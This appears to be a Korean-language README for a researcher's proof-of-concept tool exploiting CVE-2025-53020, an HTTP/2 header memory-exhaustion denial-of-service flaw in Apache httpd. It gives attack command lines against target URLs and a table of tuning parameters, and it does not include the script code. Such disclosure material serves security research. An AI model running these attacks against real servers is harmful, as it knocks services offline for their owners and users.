
CVE-2025-53020용 PoC - Apache HTTPD용 HPACK bombing.
제가 2025년 중반에 발견한 Apache httpd의 HTTP/2 구현에서 메모리 고갈 취약점인 CVE-2025-53020을 시연하는 개념 증명입니다.
📖 심층 분석: galbarnahum.com/posts/apache-httpd-cve-2025-53020
Apache httpd는 HTTP/2 헤더 처리를 통해 서비스 거부 공격에 취약합니다. 이 취약점은 HTTP/2 요청에서 반복되는 헤더 이름을 처리할 때 불필요한 메모리 중복으로 인해 발생합니다.
h2 - HTTP/2 프로토콜 라이브러리tqdm - 공격 시각화를 위한 진행률 표시줄pip install h2 tqdm
python poc.py --url https://target.example.com/
HTTPS 대상에 대한 표준 공격:
python poc.py --url https://target.com/api/endpoint
사용자 정의 헤더 설정을 사용한 공격:
python poc.py --url http://localhost:8080/test --header-reps 1000 --batches 200
여러 개의 서로 다른 헤더 이름을 사용한 공격:
python poc.py --url https://target.com --num-headers-to-repeat 3 --header-name-length 3000
배치 간 지연을 추가한 느린 공격:
python poc.py --url https://target.com --delay 0.5 --batches 500
PoC는 h2 라이브러리의 HPACK 인코더가 빈 헤더 값을 올바르게 처리하도록 패치를 포함합니다. 이는 인코더가 빈 문자열 값이 있는 헤더를 잘못 인덱싱하는 버그를 수정합니다(None을 확인하지 않고 ""를 거짓으로 처리).
--num-headers-to-repeat > 1을 사용하는 경우 헤더 이름 길이는 4000 미만이어야 합니다.CVE-2025-53020에 취약한 Apache httpd 버전. 특정 버전 정보 및 패치는 공식 Apache 보안 권고를 확인하세요.
⚠️ 이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
이 프로젝트는 보안 연구 목적으로 제공됩니다. 책임감 있고 윤리적으로 사용하십시오.
| 인수 | 기본값 | 설명 |
|---|
--url | 필수 | 대상 URL (예: https://example.com/path) |
--header-name-length | 4064 | 헤더 이름 길이 (최대: 4064) |
--header-reps | 2063 | 요청당 헤더 반복 횟수 (권장 최대: 2063) |
--requests-per-batch | 1 | 배치당 요청 수 |
--batches | 100 | 전송할 배치 수 |
--delay | 0 | 배치 간 지연 시간(초) |
--num-headers-to-repeat | 1 | 생성할 다른 헤더 이름 수 (a, b, c 등의 문자 사용) |